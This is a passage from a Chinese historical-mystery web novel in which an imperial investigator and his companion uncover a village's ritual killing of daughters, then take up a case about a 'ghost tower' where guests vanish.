“那里面什么都没有,一会儿我就把她葬进去。”唐春的面色不变,没有半分疯子的样子。
温余心中一沉,她果然猜得不错,彭柔的尸体,被封在那个泥人之中。
这些年来一直都被挂在屋檐上,为了招子。
28. 活人祭案(五)
唐春第一次见到彭柔是在她来银罗镇的第二个月。
她性子内敛再加上镇子中对外乡人的疏离,唐春没有一个朋友,父母忙着在外赚钱,她只能自己一个人待在家里,唯一的娱乐就是在门口的软地里捏泥娃娃。
她本来是不会捏泥娃娃的,但在看到每家每户的门前都挂着这东西后也就来了兴趣,慢慢学着学着也就能捏出个人形了。
遇见彭柔的那一天,她就在门口捏泥娃娃,可怎么都捏不好那张脸,瘦瘦小小的小丫头站在她面前蹲下身,伸手帮她调整着泥人的脸。
只用了几步就将泥娃娃捏得栩栩如生,唐春很是惊讶,抬头去看她却正巧对上一张绽开的笑脸。
“我是彭柔,你可是从外面来的?”
唐春见她并没有恶意,便对她点点头。
二人就这样认识了,之后的很多天里彭柔都会来找她玩,也让她百无聊赖的生活多了些期待,她每日日中都会站在门口等待那个瘦小的身影过来。
就这样一直持续了大半年。由于二人见面的时间固定,所以那日彭柔没有过来时,唐春便察觉到了不对劲,她当下就去了彭柔家里。没见到彭柔却被彭柔的母亲赶了出去。
妇人恶狠狠地瞪着她,辱骂她是个不知礼数的外乡人。
唐春虽然被骂了回去,但心里却始终放心不下,一直到晚上家人都睡着后才偷偷摸摸来到彭柔家,从矮墙翻进去后四处寻找着彭柔。
当时很黑,月亮都没有,只有一间房子亮了灯,所以格外的明显。
唐春立刻就找到了目标,来到屋前便听到屋内传出几声闷喊,她听得出来,那是彭柔。
她将门推开一个小缝,悄悄向屋内看去,但就只一眼,便让她整个人都呆在了原地,一股冷意从脚尖直冲天灵盖。
昏黄的灯光下,彭柔的母亲正一点点往彭柔脸上涂着泥巴,她的身体已经被泥巴包裹,脸上的泥巴也已经捂住了她的口鼻。
妇人还往她脸上加着泥巴,一边加还一边呢喃:“你别怪我,我要是生不出儿子会被你爹打死的,你就行行好,帮帮我,我一定会给你烧纸的,烧好多好多的纸钱。”
“你一定要保佑你弟弟,平平安安降生,一定要保佑你弟弟……”
唐春站在门口,竟是一步也动不了,就只能这样看着彭柔逐渐被泥土包裹,逐渐停止呼吸,变成了一个真正的泥娃娃。
不会说话,不会动,也不会呼吸。
第二天就被挂在了房檐上,随着风轻轻地摇晃着。
从那天起,唐春就疯了。
……
听完了唐春的叙述,温余只觉得浑身发冷。银罗镇招子,招的只有子,为了招子,他们什么都能做得出来。
“那可还有其他人知晓?”贺扶面上也是一派不忍,虎毒不食子,他竟不知一位母亲竟然能这般对待自己的孩子。
唐春轻笑一声,像是嘲讽又像是无奈,“我当时说过了,所有人都不信我,还说我是疯子。”
温余了然,原来他们所说的“疯子”是因为这个。
“他们都看得出来的,而且这镇子又不大,少一个人怎么会没有人知道?他们只是装作不知道罢了,只要能招来儿子,牺牲一个女儿又有什么不行呢?”
启蛰嫌恶地将彭母往身边一丢,这般毒妇,他摸了都是脏了自己的手!
“太过分了,女儿就不是人了吗?!”
“你们是外乡人,那你们能不能出了镇子以后去报官,告诉他们这里的情况,他们杀了不止一个人了,他们一定要受到惩罚。”
唐春握上温余的手,恳求道:“我杀了人,我知道。我会偿命的,但他们绝对不能就这样放任不管,他们会害了更多人的!”
“我求你们了,好不好?”
温余回握住唐春的手,坚定道:“你放心,我们一定会让他们得到应有的惩罚的。”
话音刚落,门就被人猛得推开,领头的那个男人在院中环视一圈,了解了当下的情况后,对着温余威胁道:“这是我们银罗镇自己的事情,还希望你们不要多管闲事。”
“否则,就不知道你们出不出得去了。”
“你敢威胁我们?”启蛰听后立刻拔了剑,敢在他面前说这话,看来是还没有人教会他怎么做人!
“你们只有三个人,不会以为能从我们手上逃出去吧?”男人眯了眯眼,身后的几人也拿出了刀。
闪着寒光的刀刃映出启蛰的脸,他将握着剑柄的手收紧,下一瞬便闪身到几人面前,将刀横在领头那人的脖颈上。
“你不会以为,我们家大人会任由你们威胁吧?”
唐春才发现启蛰对贺扶的称呼,她看向贺扶问道:“他叫你大人?”
门口堵着的人也都看向贺扶,他只好微微一笑,道:“大理寺卿,贺扶。”
此话一出,众人皆面面相觑,无他,只是这大理寺卿的名头一说,那这人定不是什么好惹的,念此,他们不由忌惮,拿刀的手都有些颤抖。
而领头之人却咬咬牙,事到如今,就算是他们收手放他们出去,肯定也逃不过一死,还不如做到底,彻底让他们出不去。
他冲启蛰扯出个笑来,道:“小的有眼不识泰山,冲撞了大人,还请大人莫要怪罪,小的这就放你们走。”
他笑得谄媚,看着启蛰心里不由地犯恶心,没等贺扶提醒便将剑拿开,“早这样不就……”
“上,放他们出去也逃不过一死,杀了他们!”那人立刻站回人堆里,发号施令。
那些人只犹豫了一瞬,便扬起刀冲上前去。
反正不是第一次这样做了,杀个平民和杀个官员也没什么区别。
启蛰闪身和三四人缠斗在一起,其余的人都冲着贺扶三人过去。
“带着唐姑娘躲起来。”贺扶挡在前面,轻声道。
温余知道自己如今的能力不足以和这些人硬碰硬,与其呆着这里拖累贺扶,不如先保护好自己。
她点了点头后拉着唐春一起往屋内躲去。关上门,外面的刀光剑影便不会伤到自己。
温余趴在门边上,看着院中的情况。平日里的贺扶总是慢条斯理的,一副温润君子的派头,但若是打起架来却是果断利落得紧,就算是赤手空拳对着那拿着刀的几人也是不落下风。
“你们来这里有什
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么目的?”唐春突然开口。
温余转过头,对上她探究似的眼,斟酌片刻后如实回答:“为了寻找一个组织的线索。”
“组织?”唐春皱眉。
“五年前镇中曾发生一起新娘失踪案,犯案人便是这组织的一员。”
温余顿了顿,以外面的情况来看,去问那些人怕是已经没有什么希望了,就是不知面前的这位唐姑娘可知晓当时的事情,能否提供写些线索什么的。
“你,可知晓那人的信息?”
唐春垂眸,随后缓缓点头,道:“知道一些,不知能否帮上你们。”
有线索就好!
温余喜出望外,上前抓住唐春的胳膊,问她:“能帮上,唐姑娘直说便是!”
“不过,我有一个要求。”唐春的眼底带上几分坚决,温余也认真起来,听她说。
“你们一定要帮彭柔讨回公道,一定要让这个镇子的人付出代价!”
温余重重点头,道:“就算你不说,我们也会的。”
见温余这般坚定,唐春也放下了心中的顾虑,她娓娓道:“那个失踪的新娘叫盼儿,学过一些医术,那个男人是她从镇子外背回来的,那时他身负重伤,奄奄一息,盼儿就将他带回家照料,等他醒来后得知他叫阿玄,除此之外也不知他的身份,当时很多人都劝她小心,可她却说阿玄不是恶人,这样来回几次,也无人再劝她了。”
“这么说来,盼儿是那个阿玄的恩人,可按照当时报案记载,那男人最后将盼儿给杀了。”温余想起来时路上贺扶告诉自己的消息,又听唐春这么说倒是替那位盼儿感到不值,“恩将仇报啊!”
唐春却摇摇头,道:“那时假的,是盼儿的夫家编造的。”
温余一惊,“编造的?!”
“嗯。”唐春眼中闪过一丝怜悯,“盼儿无父无母,家中之事向来是自己操持,但阿玄来后却是日日守在她身边,他虽不善言辞,行动却不怠慢分毫,打水扫洒样样不落二人就这样生活了许久,直到有一天阿玄外出打猎被困,一回来便得知盼儿被一户人家掳去同自家痴傻的儿子成亲,当晚他就前去救盼儿。”
“所以新娘失踪的事情就是这么发生的?”温余蹙眉。
“新娘没有失踪。当晚夫家人就发现了,他们人多势众,硬生生将盼儿从阿玄手里抢了过来。之后阿玄就被他们给关了起来。”
“那之后呢?”温余继续追问。
唐春轻轻叹了口气,道:“盼儿被他们以教训的名头生生打死,阿玄也没了生的念头,便自戕了。当时恰巧遇上官府追查,他们便将一切都推在阿玄的头上。”
“原来是这样。”温余长长舒了口气,虽然没有什么关于剑兰花纹组织的线索,但知晓了五年前旧案的真相也是没有白来一趟了。
她本为盼儿同阿玄的故事感到难过,但难过后又是一阵气愤,那么狠毒的一家人,如今竟还逍遥法外,没有得到丝毫惩罚。
她握了握拳,问道:“那盼儿的夫家如今在何处?”
唐春看向屋外——那个刚刚领头叫嚣此时却被启蛰压在地上疯狂求饶的男人。
“就是他。”
29. 活人祭案(末)
“叫啊,刚刚不还是挺厉害的吗?现在怎么不叫了?”启蛰用脚踩着那男人的背,他此刻正以一个极其扭曲的姿势趴在地上。
被启蛰踩得疼了,他哎呦哎呦的叫唤,几番求饶。
“我错了我错了,是我有眼不识泰山,求您放了我,别杀我啊!”男人双唇颤抖着,看启蛰没有放开自己的意思又将头转回去,作势要往地上磕头,正当他低头时却被什么东西抵住了脑门,他抬眼去看,是一只绣银白靴,再往上看,便是一张极贵气好看的脸。
“大人啊,饶了我吧,我再也不敢了!”他立刻挤出几滴泪来,一副追悔莫及的样子,贺扶用眼神示意启蛰将他放开,而后缓缓蹲下。
“这样的事情,你们做了有多久?又有多少人因此丧命?”
他的声音温和清润却又带着不容拒绝的强硬,男人不由咽了咽口水,道:“没几件,没几件,我们就是说这玩儿的,刚刚也是鬼迷了心窍了,所以才……”
没等他说完,就听贺扶轻轻叹了一声,这人还是不愿意说真话。
“什么叫就这一次?什么叫说着玩儿的?你既想向我家大人求饶,为何不将五年前的事情说出来?”温余推开门从屋内走出来,走到男人身边时狠狠地踢了他一脚。
听到五年前,男人显然有一瞬间的怔神,但很快便又挂上一脸的哀求,“我不知道什么事啊,我什么都没干,什么都不知道啊!”
“还装!”温余气不打一处来,这人敢做抢亲杀人的事情却不敢承认,简直是小人中的小人,杂碎中的杂碎!
温余也蹲下身,伸手掐住男人的右耳用了大力往上提,男人疼得直叫,又听她道:“关于五年前盼儿之死,也就是那桩被你推给旁人的新娘失踪案,你可别说你还是知道?”
说罢,她看了贺扶一眼,见对方神色诧异,随后又补充道:“此事关系重大,若你还敢隐瞒,我们家大人可绝对不会放过你!”
“我……”男人看看温余又看看贺扶,犹犹豫豫好半晌还是不愿意松口,“我不知道啊,我真的不知道!”
“还敢撒谎!”启蛰上前来,往他背上一踩后狠狠地往下一压,男人大叫一声后连忙喊道:
“说,我说,我什么都说……”
贺扶见他松口,对启蛰道:“放开吧。”
男人如同劫后余生一般,长长的吸了口气,随后才颤颤巍巍地将五年前新娘失踪的经过一一说明,确实与唐春说得不差。
听完他的话,贺扶的眉蹙得更紧。他按下心中怒火,放平了声音问:“为何要这么做?”
“我就是想给我家儿子找的媳妇,谁知道她……”男人为自己辩解,许是知道自己所为有违人伦,说了几句后也不敢再开口。
贺扶闭了闭眼,舒了口气后继续问他:“那你可知那位名唤阿玄的男子的其他消息?”
受伤后追到逃到这里才被盼儿救下,那他可是被仇人追杀,还是有其他的什么隐情?
男人将头摇得像个拨浪鼓一样,“没有,我其他的什么都不知道!”
见他没有撒谎的意思,贺扶也知晓这条线索还是断了。他缓缓起身,温余也跟着他的动作起身,凑上前去问他:“那大人,我们怎么处理这些人?”
“当然是按律法处置了,杀了人就要偿命!”启蛰愤愤道。
男人一听要自己的命,吓得连连磕头,求饶道:“别杀我别杀我啊!”
求了半晌,头都磕出了血都没见贺扶有所动容,他又转而看向正在彭柔尸体身边站着的唐春,道:“那她呢?她也杀了人!她也要死!”
都说人之将死其言也善,但更多的是破罐子破摔的,自己死也得拉着旁人同自己一起死。温余暗暗鄙夷。
唐春没有给他一个眼神,只是看向贺扶道:“民女犯下重罪,自愿一死。”
没想到唐春如此坚决,男人整个人都瘫在了地上,自知自己逃不过了,自然也失去了求生的意思。
“启蛰,你出镇去最近的城中找人过来,将银罗镇彻底搜查一遍,陈年旧案也好,伤人害人也罢,通通都按律法处置。”
“是,大人。”启蛰领了命,转身大步流星地离开。
“如此一来,线索就又断了。”温余想着贺扶要查探的消息,不由替他感到一丝可惜。
这已经是最近的一起案子了,若是再没有消息,这可就真的难办了。
贺扶垂眸,刚刚启蛰离开时带起的尘土还在空中飘着,他一时也有些无奈。
银罗镇,真的是他最后能找到的线索了。
往前,所有有关剑兰花纹组织的案件都已尘埃落定,大多都是独来独往没有同身边人有什么关系,被抓后也是问不出什么就自尽了。
往后,除了那日在湖州看到的面具人就再没什么消息了。
等启蛰带了人来,银罗镇的事情也就不需贺扶多管,他坐上马车,感受着路途的颠簸和周围林间传出的声声鸟鸣,他心中更是五味杂陈。
于公,身为朝廷官员他不能对这样庞大的神秘组织熟视无睹,于私,他也想知道他们灭门的原因,是无缘无故想给朝廷一个下马威还是与自己的父母有关……
看着贺扶一脸愁容,温余只是撑着脸,安安静静地看着他。
他也许是在想自己的父母吧……
“贺大人……”怕他想太多心情不好,温余便出声问他,“您觉得那剑兰花纹组织的人都是些什么人呢?”
贺扶的思绪被打断,他微微抬眼看向温余柔声道:“高矮胖瘦,贫富不均,各行各业都有,性格也是迥异。”
温余身体往前倾了倾,道:“以唐春所说的,那位阿玄也是一个十分有性情的人,竟然能为爱人如此,也不随意伤人,那他又为什么加入组织,还被人追杀呢?”
“这世上有那么多人,人人都有自己的选择,或因生计,或因理想,若问为什么,自然是问不出来的。”
贺扶朝温余露出个和煦的笑来,温余看着看着便不禁呆住,如沐春风,儒雅斯文,真真像一块尚好的白玉。
“怎么了?”
被她这么盯着,贺扶心中生起些奇怪,想伸手在她眼前
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晃一晃却正巧碰上马车颠簸,直接将毫无防备的温余向车内一甩,贺扶便正好将她揽住,以免撞到头。
再一次扑进贺扶怀里,温余恍惚地想,这是第几次了?
同样的味道,同样的感觉,竟是连心跳都是同样的跳动。
她抬起头去看贺扶,却正巧对上那双带着笑意的眸子。
“下次可要小心些。”
温余有些愣愣地,莫名问出一句:“贺大人,你可知晓自己有多好看?”
贺扶明显一愣,随后又笑了起来,只当是孩子气的提问,他便也接着温余的话:“当下不知,若是有面铜镜就知晓了。”
没想到他会这么回答,温余眨了眨眼,“您竟没有自谦?”
“为何要自谦?”贺扶轻笑一声,带了些调笑的意思,“孤芳且自赏,况且承认他人对自己的夸奖也是一种对自身的认识。”
温余点头,仿若大彻大悟,“原来如此,小女受教。”
“既已受教,可愿从贺某身上起来了?”贺扶将手臂展开,温余才发现是自己死死地抱着贺扶地腰才能如此舒适地趴在他怀里。
温余立刻放开手,直起身子,为了缓解尴尬还装模作样地撩了撩头发,她笑笑:“这是个意外。”
贺扶面上带着笑,慢条斯理地理了理前襟后提醒道:“温小姐日后可要小心些,坐马车也不可太过放松。”
温余狡黠一笑,伶俐道:“这还不是因为贺大人您太过好看,一时看呆罢了。”
“胡闹。”
贺扶语调中饭挨着宠溺,却还是对她这丝毫不关注自己安全的行为表示无奈。
又听贺扶叮嘱了几声后,温余吐了吐舌头,转移话题道:“贺大人不必一直叫我温小姐的,多生分啊!”
“那温小姐想让贺某叫你什么?”
贺扶这么一问却让温余顿住了。
对啊,叫什么呢?
直接叫自己的名字?那会不会太过严肃了?那叫自己阿余或者余儿?可她不喜欢这个“余”的,每次看到这个字都感觉是在强调自己是个多余的、不该出现在这世上的人。
那叫什么呢?
温余沉默了片刻,还是摇摇头,“我也不知。”随后她又灵光一闪,提议道,“不如贺大人为我起个字吧!就像嘉亲王的字那样!”
“可取字一事应当是……”贺扶语速有些慢,边说边思考着这话的可行性。
自己为她取字,可是会乱了礼法?可是以温余父亲那般自然也懒得为她取字。
片刻,他还是叹了口气,“温小姐不嫌弃,贺某便冒犯了。”
温余摆摆手,“不冒犯,我相信贺大人的学识,一定能取一个极妙的字!”
“温小姐倒是会恭维人。”贺扶失笑,温余也跟着笑。
“这是事实嘛!”
话刚说完,马车却忽然停了下来,随后就是启蛰的声音:“你们是何人为何挡在车前?”
有人?
温余想掀开帘子去看却被贺扶阻止。
“静观其变。”
30. 弄情(起)
温余停下了掀开帘子的动作,安静地听马车外传来的声音。率先回答启蛰问题的是一道哀求的男声:“这位小公子帮帮我们吧!”
“帮你们?”启蛰声音有些不耐烦,“帮你们做什么?我又为何要帮你们?”
接着是一道疲惫的女声:“小公子,我们想去京城,已经走了三天了,距离京城还是有一段路程,我们实在是走不动了,看您要去的方向应该也是要去京城,所以我们想求求您,带我们一程。”
“你们不会自己找马车吗?难不成是蠢到以为自己能徒步走到京城?”启蛰明显不想帮他们这个忙,甚至不愿意和他们过多纠缠。
车内,贺扶的表情有些无奈,正要开口又听车外传来一声响,像是人倒在地上压到枯叶的声音。男人的声音再次响起:“小公子,我家夫人还怀有身孕,实在是走不动了,求求您帮帮我们吧!只要到了京城,我们一定会报答您的!”
温余听那人又磕了几个头后向马车内哀求道;“车内的老爷,求求您了,救救我夫人吧!”
贺扶自然是动容的,他伸手掀开帘子,看向那灰头土脸的男人,缓缓道:“既如此那你们先上车吧。”
启蛰张了张口,想着这二人身上这般脏,若是他有两架马车还好,可如今只有一架,他可不想让贺扶和这般脏兮兮的人待在一起。
“启蛰,扶那位夫人上车。”贺扶看向启蛰,启蛰也不是什么见死不救的人,他只好一跃下车,帮忙扶着那位夫人。
温余也推门出了马车,在车上帮忙拉那怀孕的妇人上车。
等两人上车,贺扶往侧边坐了坐,对温余道:“温小姐先坐贺某身边吧。”
温余应了一声后,在贺扶身边坐下,看着对面那局促的两人。他们一打眼就是灰扑扑的,确实是赶了很多天路的样子,但是仔细看几眼就会发现,这对夫妻绝对是家境殷实的,衣衫脏污却能看得出布料款式的讲究,面容疲惫却不失贵气,这么说都不是坐不起马车要徒步往京城走的那种。
难不成是遭遇了劫匪?可他们身上却没什么伤。
这可就有的研究了!温余起了兴致,却被贺扶轻轻拽了拽袖子。她转头对上贺扶的目光,似乎是在告诉她,她的眼神太过炽热,惹得那对夫妇手不是手,脚不是脚的,都不知该如何开口了。
温余这才收回了目光,露出个友善的笑来:“不知二位从哪里来又为何要去京城?还这般风尘仆仆?”
夫妇对视一眼,男人先开口道;“在下姓韩,名叫韩犹息,是崇安来的,去京城是为了寻人。”
崇安离京城也不算太远,但也不至于徒步前往吧?而且听他刚刚所说,这位夫人还身怀六甲,怎么连一架马车和一个仆从都不带?
“不知,这位老爷是……”韩犹息暗暗打量着面前这位白衣男子,琼姿皎皎,玉影翩翩,不异潘郎,绝非是市井俗人,不似凡人,却像谪仙。
贺扶颔首示意,答道:“在下贺扶。”
“贺扶!?”那妇人惊呼一声后又快速的捂住嘴,看向身侧男子的眼中满是诧异。
韩犹息也很是震惊,随后又迅速收起表情,凝重道:“贺大人,韩某就是为您而来。”
“什么?”贺扶疑惑道,“不知二位寻贺某有何事?”
韩犹息握住妻子颤抖的手,算是一种慰藉。他道:“不知贺大人可知崇安红楼一事?”
“红楼?”贺扶微微蹙眉,看向温余却见她也摇头后问韩犹息,“贺某不知。”
韩犹息看了看妻子,随后低了眉眼,“那红楼,是一座鬼楼。”
温余惊讶地睁大眼睛,“鬼楼?这世上没有鬼吧!”
贺扶自然也不信鬼神,他始终相信这世上的鬼大多来自人心,什么闹鬼邪祟一说不过都是人为作祟罢了。他道:“可是发生了什么命案?”
韩犹息点头,身边的妻子早已面无血色,“我本也是不信鬼神一说的,奈何那楼是当真邪乎。”
“如何邪乎?”温余好奇道。
“那鬼楼本是一家废弃的酒楼,向来是没有什么人在的,可是每隔半年却有人以那酒楼主人的名义在城中发出拜帖,请一些人前往鬼楼,有人进去了,就出不来了。”
“那可有发现尸体?”贺扶也觉得此事蹊跷,第一反应便是有人借此鬼神一说杀人犯案。
“没有,就是出不来了,消失了。”韩犹息空着的那只手渐渐握起,手背上的纹路若隐若现。
“莫不是犯了什么事儿,自导自演一出戏之后跑了?”温余猜测道。
韩犹息摇头否认:“不会,那些人有老有少,有商有农,都没有什么联系。都是在赴宴的那一夜之间,离奇的消失了。而且后来的人去查探,只能看到一座废楼,半点人生活过的痕迹都没有。”
“那收到拜帖后不去不就好了吗?难不成他们还会把人抓过去?”
惹不起,躲不就行了吗?温余是这样想的,却被韩犹息泼了冷水。
“不行,收到拜帖后不去的人,都在赴约当晚被杀了,全家不论有几口人,都无一幸免。”
“所以你们就认定他们被杀了?”贺扶眉锁得更紧,这样可就是极其恶劣的程度了。
韩犹息点头,“是,每隔半年一次,已经持续五年了,整个崇安都人心惶惶的。”
“当地官府没有查出什么线索吗?”对于当地百姓的诉求困苦,为何当地官员既不调查又不上报,他竟是丝毫不知还有这样的事情。
至今持续五年,那失踪也有近百人,这般失职渎职,着实是枉为父母官。
韩犹息面上浮现出几丝痛恨来,他道:“他们哪儿会解决啊!一天到晚都只顾自己享乐,上下一心沆瀣一气,有人报官也是出言搪塞,从未彻查。”
贺扶闭了闭眼,为官不为百姓着想,又如何能得朝廷俸禄?如何能得百姓拥戴?
“那你们想来京城找贺大人可是因为自己也收到拜帖了?”
温余往后靠了靠,好整以暇地看向二人。
当地官员不理事可以上报高层,高层不理事还有更高层,左晋也不是不许越级上报,可这事情发生了五年都没有一个人上报,如今这二人却突然从那么远的地方来京城找贺扶,必然是威胁到了自己的安危,所以才这般着急。
见韩犹息慌忙躲开温余的目光,温余便知晓她猜对了。事不关己,高高挂起,果然刀子没捅在自己身上是不知道疼的。
“距离赴约之日还有多久?”贺扶正色问道。
“还有一月。”
韩犹息吞了吞口水,似是斟酌了半
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晌才开口求道:“还请贺大人帮帮我夫妻二人。我知贺大人能力出众,定能将那鬼楼背后之人抓出来,定能还崇安一方太平的。”
好好好,开始戴高帽了。温余看向贺扶,见他正低眉思索着,不知在想些什么。
隔了好半晌,贺扶才再次抬头。他看向韩犹息,后者额上缓缓落下一滴汗来,若是贺扶不帮忙,那他二人定然难逃一死。
贺扶缓缓呼出一口气,点头道:“好,你们可有将那拜帖带来?”
韩犹息的妻子立刻从包袱里翻找,“带了的,带了的。”
“您要拜帖做什么?”温余刚问出口便知晓了贺扶的意思。
他是要将计就计,自己去鬼楼走一趟。
贺扶接过拜帖,上面工整地写着韩犹息和宋连娇两人的名字。
“这拜帖邀的是你们二人?”
韩犹息点头;“若是单邀我一人便罢,可我家娇儿还有身孕,怎能同我一起涉险呢?”
“不知贺大人您有何妙计?”
贺扶收起拜帖,平静道:“由贺某代韩公子去一趟便是。”
不入虎穴焉得虎子。进入那鬼楼后既能查出背后之人的底细,若是那些失踪之人未死还能得知他们的下落,以及崇安的官员也该好生调整一番了。
“不过,既是邀请了你们二人……”贺扶看向温余。
“我同贺大人一起去!”温余兴奋道。
鬼楼探秘,听着就刺激!
“还有一月,韩公子就与韩夫人暂住在大理寺吧,也正好能让贺某问些关于崇安和你们自身的问题。”贺扶道。
韩犹息和宋连娇对视一眼后,双双点头道谢。
……
入了夏的京城,四处都是沾了火一般的热。
温余只从马车上跳下就被毒辣的日头晃了眼睛,她立刻小跑到阴影下,看着启蛰伺候着贺扶下车。
韩犹息夫妇已经被送去了大理寺。
“这也太热了,得备几件夏日的衣裳才是!”温余跟在贺扶身后,和启蛰并排走着。
“你不是拿了月俸吗?自己买不就好了?”启蛰知道她的小心思,及时出口打断。
他冲温余投过去一个眼神,别想让大人送你!
温余挑挑眉,反问道:“你不想要?”
“我……”启蛰一噎。贺扶轻笑一声后开口道:“你们去问问葛巾可有喜欢的衣裳样式,问好了告诉我,过些日子直接去锦绣坊拿便是。”
温余欣喜上前拉住贺扶的胳膊,笑道:“我就知道贺大人最好了。”
启蛰上前甩开温余的手,喊道:“喂喂喂,男女授受不亲,别老想着占我家大人的便宜!”
“这就占便宜了?我还抱过你家大人呢!”温余就是要气启蛰,看他跳脚她便开心、
“你!”启蛰又想起那日一早自己看到的那一幕,整张脸都张红:“你简直就是个流氓!女流氓!”
贺扶无奈转身叫停:“好了,一路舟车,你们倒是兴奋得紧,可要去抄抄书清醒清醒?”
听贺扶这么一说,两人登时休了战。
“温小姐。”贺扶又道,“自明日开始,每日巳时来我院中。既要去涉险,需得会些防身的招式才行。”
温余欣然:“好!”
31. 弄情(一)
不得不说,贺扶是一位很好的教书先生。
博学多识又耐心温柔,每一句指导都直中要害,轻柔又不容抗拒。
这些日子,温余每日早起和贺扶练剑、拉弓,午膳后又在玉茗堂温书,一直到晚膳后才能休息一段时间,还要通过葛巾的讲述来了解韩犹息夫妇相关的事情,以免在后来的装扮中露馅。
这些日子可谓是十分充实,日出而作日落而息。虽然很累但有贺扶在身边体贴入微的关切也能让温余不那么疲惫。
但启蛰可就不一样了。
因为章执日日的传唤,他总是要在绍王府和宫中两头跑,每日几趟下来竟是比温余还要累上几分。
更何况,温余还是和贺扶待在一起的。
孤男寡女,出双入对,谁知道温余那女流氓会对自家大人做出些什么事来!
在启蛰眼里,温余就是头猪,总想着拱他家大人这颗晶莹剔透的翡翠白菜,可恨得很!
天边日头渐渐落下,残余的几分霞晖透过玉茗堂雕花的窗户洒在金丝楠木的书案上,其上被摊开的书册被映出雕花的花纹,仔细看那是三交六椀的样式,而那本偶然被添上花的书则是《诗经》中的《国风》一篇。
鹅黄衣衫的少女一只手撑着头另一只手拿着笔,做出一副认真听讲的样子,可是脑袋好像是有千斤重一般,随着堂上那人轻柔的讲述一下一下地点着。
小鸡啄米一般。
温余虽身体还坐在玉茗堂中,可精神却不知去了何处找周公相会,竟是没有发现堂上那人已款款来到自己身侧。
贺扶看着温余着滑稽的动作一时失笑,颇为有趣得看了许久才将书册卷起轻轻往温余头上一敲。
这一敲温余瞬间清醒,她眼前还有些朦胧,嘴里却念叨着:“用晚膳了?”
贺扶无奈,缓缓在她面前蹲下身,“还有一刻钟。”
“怎么,饿了?我怎么记得阿蓁午膳可是吃了整整两碗饭呢。”
对上贺扶打趣的目光,温余清了清嗓子冲他露出个讨好的笑来:“阿蓁错了,贺先生就不要责罚阿蓁了好不好?”
蓁,是贺扶为温余取的字。取自《诗经·桃夭》中的“桃之夭夭,其叶蓁蓁”一句。
蓁者,树叶茂密之意,贺扶取这字也是希望温余能像那茂盛的枝叶一般盛放。
这是含着满满的祝愿的,温余自然也是喜欢。从那后贺扶便唤她“阿蓁”,而她有时像贺扶撒娇时也唤自己阿蓁。
不知为何,每次听到温余这般自称,贺扶便似被下了咒一般,听话得紧。
温余不懂,但爱叫。
“我何时要责罚你了?”贺扶拿出帕子递给温余,“偷偷打盹,还将墨汁沾在了脸上,你啊……”
温余摸了摸脸,没摸到脸上的墨渍。她接过帕子胡乱往脸上擦了擦,问:“还有吗?”
贺扶摇摇头,“还有,往左一点。”
在贺扶的指挥下,温余算是将自己脸上的墨渍擦拭干净了,但那方洁白的绢帕却染上了污渍。
“诶呀,我把贺先生的帕子弄脏了,贺先生可还想要?”温余撇撇嘴,做出一副委屈巴巴可怜兮兮的样子。
贺扶知道她这是在搞怪耍小心思,伸手想要拿回绢帕:“好了,若是想要我拿条新的给你,这条脏了就扔了吧。”
谁料温余却猛得将绢帕往怀里一塞,摇头道:“我不要!我就要这块。”
“这块可和其他的不一样,这是贺大人随身携带的,对阿蓁来说意义非凡。每每当我想念贺大人的时候就可以拿出来看一看,以解相思之苦。”
贺扶忍俊不禁。
这丫头被自己养得着实是没个正形了。
先前还当她是与启蛰斗气,故意激怒启蛰才这般说话,怎的如今启蛰不在时都要撒娇讨巧了?
温余见贺扶面上带了笑意不自觉也笑开了,她将帕子叠好放在案上,随后道:“贺先生,我们去吃饭吧,我快饿扁了。”
贺扶知道她是半刻也不愿在这堂中待着了,自然也是由着她,“好吧,去用膳。”
这些日子虽说忙碌,但膳食小点可是从未缺下,温余原本清瘦的双颊也日渐白净可爱了些,看着着实讨喜。
特别是笑起来时弯起的眉眼,每每贺贺扶对上便是说不出什么反驳的话来了。
坐在桌上看着她埋头吃饭贺扶竟是觉得自己的胃口都好了不少。
贺扶看着温余不由勾起一抹笑,被微微抬眼的温余捕捉。
“贺大人笑什么?”她问。
看她双颊被撑着鼓起,一双圆溜溜的眼睛一眨不眨的看着自己,贺扶笑着摇头,“没什么,今日的餐食可还喜欢?”
温余重重点头,“可喜欢了!”
“您看这白切鸡,骨呈红色,味美肉嫩,着实人间美味!再看这牡丹鱼片,薄入蝉翼,刀工一流啊!就算是这一碗普普通通的米饭也都是颗颗饱满,香气四溢,这般美味简直天上无二,地上无双啊!”
“既喜欢那就多吃一些。”贺扶也拿起筷子正向盘中伸去却听闻门外一声通报。
“大人,幸丞相来了。”
贺扶立刻放下筷子,同温余叮嘱了几声后起身离开。
看他背影这般着急,温余咬着筷子猜想这位大名鼎鼎的幸丞相是个什么样的人。
据启蛰所说,那幸丞相年少时便连中三元,得先帝赏识,自寒门一跃成为当朝丞相,可谓是风光至极。难能可贵的是,他虽位高权重却仍不改节俭习惯,吃穿用度样样都是越简单越好,为人谦逊,不拘小节,着实是为谪仙似的人物。
不过就算启蛰不说这些,温余对这位幸丞相也十分佩服。
毕竟能够将贺扶教养至此,想必定是一位顶顶厉害的人物。
至于那位嘉亲王……
也许是人各有志吧!
贺扶这么一走,温余吃饭的兴致也不是很高了。她本就不饿,刚刚同贺扶说想要用膳也只是不想待在玉茗堂枯坐无聊罢了。
她看看贺扶离开的方向,应该是要同幸丞相去玉茗堂议事。
温余正要起身却见葛巾自门口款款走来。
“你不吃饭,鬼鬼祟祟作甚?”葛巾走上前伸出玉指轻轻点了点温余的额头,温余笑几声反问:“那葛巾姐姐如此之晚才从外头回来,可是去做什么不为人知的事情了?”
葛巾哭笑不得,“什么不为人知的事?我是去锦绣坊看看我们新衣裳做得如何了!”
“你啊你,不知多多感谢我竟还打趣起我来了!”
温余拉住葛巾的手臂,拉长了声音:“诶呀,我开玩笑的……”
“对了,你可知幸丞相来了?”
葛巾神色不变,道:“自然知道,小厨煮了当季新茶,我正要送去玉茗堂。”
“不必麻烦!”温余兴奋道,“我去就好,葛巾姐姐你都这般劳累了,早些去休息!”
说罢,温余好似一阵疾风一般跑开。葛巾在原地看了看,不知她这小脑瓜里都装了些什么东西。
温余从小厨端了茶就往玉茗堂走去。
此时夜幕已至,玉茗堂内昏黄的灯火不断颤抖着,将两个对坐的人影映在窗上。
不多时贺扶的清冽声音便自屋内传出。
“关于此次银罗镇一事,弟子随未寻到什么有关剑兰花纹的线索但也并非毫无收获。”
“有关镇内恶劣行径弟子也派人去深入查探,争取将所有掩藏不平之事一一一补办。”
原来就算是贺大人也要和先生做课业总结啊!
